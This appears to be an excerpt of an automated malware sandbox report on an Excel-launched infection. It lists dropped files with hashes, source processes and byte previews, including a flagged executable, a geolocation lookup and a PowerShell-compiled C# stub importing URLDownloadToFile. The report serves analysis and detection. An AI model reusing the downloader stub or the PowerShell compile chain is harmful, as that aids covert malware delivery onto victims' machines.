                                          SHA-512:974DA06CF41DA5D6E65BF834394EC0E478DF55745C922CC7D5B3F8EC6501B1DFF5A0B866B8C53C01519F53BEE1BF7AEEC54E1E6515B105D24F7F5C4A2EC97D9E
                                          Malicious:true
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....X.f.........."...0.................. ....@...... ....................................`.............................................................L............................................................................................ ..H............text........ ...................... ..`.rsrc...L...........................@..@........................................H........8...h..................................................................@... .........(....*:.(......}....*..(....*..{9...*"..}9...*..(....*n.(.....u....,...u....}8...*J.(.....sp...}8...*>.(.......oH...*..o....*:.{8.....o....*&...o....*b..(....,..*..o....o....*b..(....,..*..o....o....*:.{8.....o....*&...o....*6.{8....o....*"..o....*6.~.....o....*6.~.....o....*6.~.....o....*"..o....*:..(2....o....*J.~.....o....u....*J.~.....o....u....*"..o....*n.-.r...ps....z..s....o!...*r.-.r

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json

                                          Download File
                                          Process:C:\Program Files (x86)\Windows Mail\wab.exe
                                          File Type:JSON data
                                          Category:dropped
                                          Size (bytes):962
                                          Entropy (8bit):5.013811273052389
                                          Encrypted:false
                                          SSDEEP:12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
                                          MD5:18BC6D34FABB00C1E30D98E8DAEC814A
                                          SHA1:D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
                                          SHA-256:862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
                                          SHA-512:8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
                                          Malicious:false
                                          Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\194FB565.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):3153548
                                          Entropy (8bit):2.739573219927615
                                          Encrypted:false
                                          SSDEEP:768:faDBWU4DO5XQ80N197o8LxcF+/8WAvcDOPRBBVv0rQm:fVL58hvcDEzVEF
                                          MD5:CB951653266E862CCFF5DA16129DF946
                                          SHA1:A6125CEF6ABDDE9520A715AF6A6BF0C121FC703A
                                          SHA-256:EFB57A15CEF049FE9E0FFC09E5340BA15A91AA085A90F9EB15F023E9F1650655
                                          SHA-512:B2CDC98F7A38648B257CE6091798B1EC3BE75EFA2244104D5243DF379CEA704237FA9A7AB50B40C93824FB99797EA8B6376CA95E44B9D5A2669E0668626C7ED3
                                          Malicious:false
                                          Preview:....l...........@...............Yj...... EMF......0.............................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................A... ..."...........!...............................................A... ..."...........!...............................................A... ..."...........!...............................................A... ..."...........!...............................................A... ..."...........!...............................................A... ...'.......................%...........................................................&...........................%...........................6.......@.......%...........L...d...........?...............@.......!...

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F4EC891.jpeg

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 728x1080, components 3
                                          Category:dropped
                                          Size (bytes):38055
                                          Entropy (8bit):7.701114900848128
                                          Encrypted:false
                                          SSDEEP:768:z2WzbN9IIlNL8x9w/DE36KefNx42STMCFhZisvnV+5XpAVPi:z2Wt+AL8x9JM/mMohgsvnV+BUPi
                                          MD5:1BCF8D8905A94F75F7569B3094A242E0
                                          SHA1:644D42996FA499F63484CB39659B3066F0C7127F
                                          SHA-256:E2EAFDD748CCEE88023C676C70A9B29CC62FE1B04712CA45C91183769413CA26
                                          SHA-512:B4584DFC071DA5C14DFFAD96890C51AD7508C8AA272BFE3525EDED76C4FF3FDD6C731175B795FE7749524DCB7B830904FD25195281425C27F7E14F1CDE87FBCA
                                          Malicious:false
                                          Preview:......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............8....".............................................................................................................................{..............,....eZ...............O..2..#..>.....;.3.s:r....w..D..d..J..=. ......t.........!...<..@.............&...=A.J.iV.......j..."\..*m@."................1qO.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45B291C.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):50128
                                          Entropy (8bit):3.13941905677619
                                          Encrypted:false
                                          SSDEEP:768:4tHbsyguSUifiMcUzARRwn8KEVhyQBzKVO15DQclSBxkrSsAQYWS:yKDAMjARdKGhy0fyBy6
                                          MD5:A4D3F37D25C314D8BD34E11152527E97
                                          SHA1:6DF7C881FE8102F196CAE0D5AF9C00CC26583B02
                                          SHA-256:E0B38B2C8079038B0C98440A0A5945CBB86A41B72154D83EE25F8D362020F9BF
                                          SHA-512:6E95CA122B9718F0E80D5B666A294A066479365D910F3E450B535ABCEA7F55204122D1CB346DFDF69037FA9CA6EC821A1C05A5F13A162A74D509343F9006D1B2
                                          Malicious:false
                                          Preview:.................N...-..........g...Ca.. EMF................M...l........'..}3.......................K...A..I.n.k.s.c.a.p.e. .0...9.2...2. .(.5.c.3.e.8.0.d.,. .2.0.1.7.-.0.8.-.0.6.)...d.1.2.8.0.2.2.b.9.4.c.b.b.c.6.0.6.e.e.1.3.5.0.4.5.e.b.2.7.1.0.2...e.m.f.....................$...$......?...........?............F...,... ...Screen=10205x13181px, 216x279mm.F...4...&...Drawing=1609.4x937.4px, 425.8x248.0mm...............................................................'.......................%...........%...........;................... ...6............#..6............*..6............-..6...........?-..6............-..6............*..6.......!....#..6.......!... ...6.......!...L...6...........U...6.........../...6...............6.........../...6...........U...6...........L...=.......<.......>.......................%...........(...........'.......................%...........%...........;...............z(......6.......u(......6.......o(......6.......n(..I...6.......n(..q...6.......p(......6...

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9933C675.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):672492
                                          Entropy (8bit):3.4149852382975387
                                          Encrypted:false
                                          SSDEEP:3072:pAc0TA2Y1qh+cJ9kEGr1wwJymeoSpVnAwfASlNidri2/OO:pApuoh+quNeNpVAZSedri2/OO
                                          MD5:4BEF4282353FCBE582EE41A6EDAE9A71
                                          SHA1:56DA28EEF5AB865557ACD634EF95E4CB738705C5
                                          SHA-256:D8D1E69525694E71B743E13F14827844DA633FBB4A55471A526A6FCC32858863
                                          SHA-512:ABEFD4447DF1CC6DC72FA559C7A1B925D585FE2B3E653C4E70AED183C1FDAB7BC2F5C8C2C980C9D0847477246EE56A6B2A7759B662C28397B029703322DE1056
                                          Malicious:false
                                          Preview:....l............................T...F.. EMF.....B..'.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AB31754B.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):169096
                                          Entropy (8bit):3.369564690022728
                                          Encrypted:false
                                          SSDEEP:1536:WK83moqvL5TWvyvcSg2JjEeSxqLY5ml1re71NmWqnb11ruEA9TAe:WF3H2t4Sg2JjEWE5mSZB
                                          MD5:DCF8C56CAB759D132AD0B11703B8015C
                                          SHA1:C656AF02D26A18CE716A28C36B34BEE75D00E2B4
                                          SHA-256:38F17A599AC5D645DF3840BBB401710EF81573A747DA20ABBFC1B7D9A9273B58
                                          SHA-512:F6A9BAEA096279DBDBFD370B26899D259ED6B6DAFA8042594389523EA210CBECDC14ADD78AB7568E1C3EC8C0DF7AFCCAAD0ED7E22A879F6023C8317B6712973C
                                          Malicious:false
                                          Preview:....l...........[...y...........%...J... EMF................................@.......................0]..8...Q...............[...y...................\...z...P...(...x........... ...\...z...(...Z...z..... .......................................................................................................................]..V...e,..g...\ ..Q...[...M...]!..V...Q...W...\...h/..i1..Y...\...L...Y...^"..M..~G..}G..}F..}F..}F..}F..}F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..|F..}G...L......................................................................{{{..................................................................................................................................................................................................................................................................................................N...S...S...S...W...X...g...h0..Y...T...W...O...^"..b(..M...M..._$.

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CA20B1F2.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):13328704
                                          Entropy (8bit):1.5643142550332958
                                          Encrypted:false
                                          SSDEEP:768:qU3AphP7YgsXW9s7Z+3Zv6j6M1cv+BINGkIsId5cFXXlG5xK0SN7u:qlo3+3ZviTcvo5kXlG5XSQ
                                          MD5:68A209624279F3C0D31B35A1DAB36B8F
                                          SHA1:59C61F0CA5122BD390EE6CE7ECD58C268791DFF4
                                          SHA-256:E7B15AC1C5F8B8A3D867B8F5C04BBB27690946D6E2A934B9CA0C2A3941165C01
                                          SHA-512:4A118877C0A7CF713A4B992740EBEA55761D0620CD3B736D4A5DA72F4E8800DBBEF98E1FF40CBECF720EFDBD887E813E1C9B74F4180C1C10353D2B2509D97F6C
                                          Malicious:false
                                          Preview:....l...........P...............A_...... EMF....@a..........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q......."...........!...............................................Q.......'.......................%...........................................................&...........................%...........................6.......P.......%...........L...d...........O...............P.......!...

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D030F5F4.emf

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                          Category:dropped
                                          Size (bytes):813540
                                          Entropy (8bit):4.644235242126142
                                          Encrypted:false
                                          SSDEEP:6144:FVlD8DZRpuoh+qjHBMixiMKtG+ZFrTkNeNpVAZSedri2/OX:FVlDYHPpozHjTdiS4ri2/k
                                          MD5:A8BD6DADB800F564B114E57C92509D78
                                          SHA1:0BC342E7702F34DEE5FB0B6506DBBD7594D4B31E
                                          SHA-256:85EC227F686AF4B103D26E83B906C72774B1BAAC1B1CCD8F9478A8F6C77023CC
                                          SHA-512:EF178F92ADC1C8A718562747C405EADE657A9CAFF23C9C041CDE31E86F8E290FB9325E3457E9EA1A706F9D6E46649846ECF8EA3CB7150B10CC8EA943990AE2D6
                                          Malicious:false
                                          Preview:....l...............H............]...L.. EMF.....i..............................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I..."...........!...................................................I...'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DA91D6D0.png

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:PNG image data, 731 x 391, 8-bit/color RGB, interlaced
                                          Category:dropped
                                          Size (bytes):114223
                                          Entropy (8bit):7.9934212565976415
                                          Encrypted:true
                                          SSDEEP:1536:cX9THBYT6A17j6ZE4+ZVkVIXMK7MpNc+Bj5uuUBQp12RTmmPHFSTm:QTHBq6U/6xVsMKgpNc+ZwuURRTd9STm
                                          MD5:7F72BA3C4366E5F9603DC0FE9C70D4E4
                                          SHA1:FA3DACFB4E2ECA8BFAFCCE8BE5ADE7EE7B3722F1
                                          SHA-256:4BD578FBCFC208744CFEC575FEC397A77AF66D5688E0C3CD034B4628EFDF910A
                                          SHA-512:B8B7B8D4441609F64AF477301355BC8DAE84A16EA595A4923391530F2EE6F4B3F85437541F6408398593D3E1223B56FFCEBEB119C43D97C6213C640799CA6863
                                          Malicious:false
                                          Preview:.PNG........IHDR...............9x....sRGB.........gAMA......a.....pHYs..........+......IDATx^......c7..7z.J !.@..ww.`..........-.......|......d.g..........g...]...*.<.\.l/.......e...w..Q...\.y..qR.0.$&M.D..^....O...M.../...e.6....$..=..M.'a.@JQz.y.....4..a>p.....N.....>E."..z....C...U.W^..qc...Z.f.).........S.D.}...c...t.R.x..e..$...........T.i.&...+J.,...&!f%....;$.+!(.J...ZPe.....RJ..-.Q....l.v..._~.e).....T...a.w.......Jy..E1<>S.....q...T...Z.'.O)A....l..M...Qz.....=...I.3|..}.Y.|....9...6m.0<...q..+V<u......}.](..W_}.....,0U.......[....'.....]..L.2_|..Y.-Z4....N)%A..o..&..{..e.H...../]..[..)..[....9.K...{.c.j-r..o......t.TA............*q..q._}..].4...L..'K.fG..M........,. ....;.]C.[...4i.h......$I.t...E..5..x....>}....N..'L..}.....#+.~.H.N.8A.Pf.M.[.,Xp.%.$....n.:....(..$......N.J+.o.>t1n.8.......#R.{.....^...r..*r+.{.I.7o.V.i.E@.....e.B}G\Dl....R.@.*.u......}..`j..n.8..J.a.g.|-cc..v.Z..-._,Z..{...o..y.f.

                                          C:\Users\user\AppData\Local\Temp\RES25D9.tmp

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Jul 3 16:06:32 2024, 1st section name ".debug$S"
                                          Category:dropped
                                          Size (bytes):1328
                                          Entropy (8bit):3.9824951475308
                                          Encrypted:false
                                          SSDEEP:24:Hae9E2UEw4dHfwKdNWI+ycuZhNDakSlPNnqSqd:ahwIKd41ulDa3/qSK
                                          MD5:166D78F485C460FE97690706EBBA4389
                                          SHA1:319A15D1B1ED6C6879B2A7F4A9112E5E44E89066
                                          SHA-256:F84611F994A43BF6BEB5C504CFFCF5AD541F1355C5E6AD33934DCD0AC4BE256D
                                          SHA-512:04F98470DDDEBB110A2BFA5D557E3F869CBFAF57A219C4B29C94A0AF6123BA448B899D988EFC652061C16AA00B4D51E0B6D052E14990972B72DDEA91970E0F18
                                          Malicious:false
                                          Preview:L....w.f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP......................e.+.pJ...........4.......C:\Users\user\AppData\Local\Temp\RES25D9.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.s.c.c.v.p.b.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                          C:\Users\user\AppData\Local\Temp\RES85A4.tmp

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Jul 3 16:06:56 2024, 1st section name ".debug$S"
                                          Category:dropped
                                          Size (bytes):1328
                                          Entropy (8bit):3.9892150862544495
                                          Encrypted:false
                                          SSDEEP:24:HSe9EurZCBGdHdxwKdNWI+ycuZhN4akSEPNnqSqd:vrZh9aKd41ul4a3EqSK
                                          MD5:1775136E0BAC66FE99617D0FADE2DF8B
                                          SHA1:EF83CB37A4C880E8C7AC68A43EC90206A2CC7282
                                          SHA-256:44A3BD1E7CBB79292FB3CCD38980BCCFA716AC17C9E2213BE67492275009460F
                                          SHA-512:C3F4A7004347553CC065CF11DE17B2AEFD115FC0FFB323BC1250804BCDADF36CAB334763C066EAA5EA9F0DFB12448B415EF6D2DEA8D37B5CB5232C2329F3AFF6
                                          Malicious:false
                                          Preview:L... w.f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP.................h. T.bf...<d............4.......C:\Users\user\AppData\Local\Temp\RES85A4.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.z.j.o.g.1.i.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                          C:\Users\user\AppData\Local\Temp\a2uw2xvw.nyi.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:very short file (no magic)
                                          Category:dropped
                                          Size (bytes):1
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3:U:U
                                          MD5:C4CA4238A0B923820DCC509A6F75849B
                                          SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                          SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                          SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                          Malicious:false
                                          Preview:1

                                          C:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          File Type:MSVC .res
                                          Category:dropped
                                          Size (bytes):652
                                          Entropy (8bit):3.103136784874791
                                          Encrypted:false
                                          SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryFgak7YnqqOFPN5Dlq5J:+RI+ycuZhN4akSEPNnqX
                                          MD5:CE68962054D0826266ACADEA3C64F08E
                                          SHA1:E3004CB7085403D1D8DFF9097256D26BAD6C2AD9
                                          SHA-256:75088459F9D73D037BC874077278CD84B29DDAF91A75B99A68691B674E4A25CA
                                          SHA-512:E69A950EDD8151DA825F708D36AA8EFD8785552810C86DE7666511BFA246C5E84D52F4CF5A7F3EBB9EFCDAF3384F19DB4A3AAB53247910F9B6CCC95F3B88D762
                                          Malicious:false
                                          Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.z.j.o.g.1.i.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.z.j.o.g.1.i.c...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                          C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.0.cs

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (337)
                                          Category:dropped
                                          Size (bytes):449
                                          Entropy (8bit):3.8812008143000267
                                          Encrypted:false
                                          SSDEEP:6:V/DsYLDS81zuUqKvtLMGlffQXReKJ8SRHy4HNxerdZ3hmjvHQy:V/DTLDfurK/gXfHHesjvwy
                                          MD5:9620075B970E6A107A8ADEF406D08461
                                          SHA1:8C87998B6515EE03D55B395AA3292B015352117D
                                          SHA-256:85382328F6F0AA62F185DF64516E81086ABF926F73E928860B1DB96C7D786943
                                          SHA-512:690AB867AAFEE8A79779751CA40C6CF8A597A3D28ECBCDE760EEAF5853D5763285702295F5B57976770E43DF9A6F66F8DD93B5F096F43FED3AA90B4B55DD2D12
                                          Malicious:false
                                          Preview:.using System;.using System.Runtime.InteropServices;..namespace MrXdso.{. public class tB. {. [DllImport("urLmon.DlL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr gka,string JDbzaybKcJ,string gm,uint DuzlWqbWhXC,IntPtr Uf);.. }..}.

                                          C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                          Category:dropped
                                          Size (bytes):369
                                          Entropy (8bit):5.264023834697995
                                          Encrypted:false
                                          SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fRZGfPqKzxs7+AEszIP23fRZGfPqv:p37Lvkmb6KzZSPqKWZEoZSPqv
                                          MD5:32B45D03693D3D6E644E27E60A06A907
                                          SHA1:F989FC6254122327CFFD7DDDF92170668DD171D6
                                          SHA-256:DC904660EEC8AAF8151AE747FBD270A599A741D14FE0B25749C99903A758C59D
                                          SHA-512:F01BE6F8F3159CAEE1CDF1900027E4F7826F2827F2FB9B76DEA89F25B4E9E377546FE04A68E69A5DB942EE09C03D717FD034573BE4F1FD5B169D835B8827557C
                                          Malicious:false
                                          Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.0.cs"

                                          C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.dll

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                          Category:dropped
                                          Size (bytes):3072
                                          Entropy (8bit):2.8115040992257887
                                          Encrypted:false
                                          SSDEEP:24:etGSEPBG5eM7p8qqZ/k4YiL/YjtkZfEacGEqhkWI+ycuZhN4akSEPNnq:6LsM+qfiLQCJEaPEEH1ul4a3Eq
                                          MD5:2441B30F2D6D7DFAECA7E31DB44D2C01
                                          SHA1:15FBEC7CB3894AF7DFCF92B0DEBF6FFA49FB650C
                                          SHA-256:CDF1C82F068BA34D22721A072DA96B5D08FB50451815E284A3A658BF717829F8
                                          SHA-512:3CC29AF52A839A0417D9AB43B541256A4532481F1BC94057735984765C1C15D7110A78F60D64A5BA50CD8CEE6D8D6140C2E3730D906D0D7A2EB1A80B2518DC97
                                          Malicious:false
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... w.f...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1.*.....q.....q.......................................... 8.....P ......J.........P.....T....._.....b.....n...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.cz

                                          C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.out

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                          Category:modified
                                          Size (bytes):866
                                          Entropy (8bit):5.3471389027431835
                                          Encrypted:false
                                          SSDEEP:24:AId3ka6KzZ8qrEoZ8qWKaMD5DqBVKVrdFAMBJTH:Akka60ZjrEoZjWKdDcVKdBJj
                                          MD5:A67168AF46D3B4369F9775E797C61354
                                          SHA1:1477960852769577A286AC3E92B63804C086DF75
                                          SHA-256:9C4E3E99B9590911835349D355A2C46C670064E959DA5F1AD5D603A798A9D058
                                          SHA-512:9601DB4D7261479C62EA2EC2656C950327A5D48251D874B681A9D501873EC7439ED33198C142DFE7D23DC327E92EA121222B4CC6F1EA536ED7760337347705B2
                                          Malicious:false
                                          Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                          C:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          File Type:MSVC .res
                                          Category:dropped
                                          Size (bytes):652
                                          Entropy (8bit):3.086071279191265
                                          Encrypted:false
                                          SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryWsak7Ynqq7hPN5Dlq5J:+RI+ycuZhNDakSlPNnqX
                                          MD5:919D101603C687AD659E2BF2A7704ADE
                                          SHA1:A0EAA35A4070EF9C8FD1BD5C97BB0DE32B910D62
                                          SHA-256:91FEBB57BAA4BCDD92FF013DCE67D011B52566F7B8696A2A7A88B11699622AA9
                                          SHA-512:C5317F864AF41161457F6243DC4306BF6A4446B753B3057784F76E23FC606074C87FBD252DFA1EC692FCA489999A3416154F4226829C5B4CCFCF00AB85BEC8CB
                                          Malicious:false
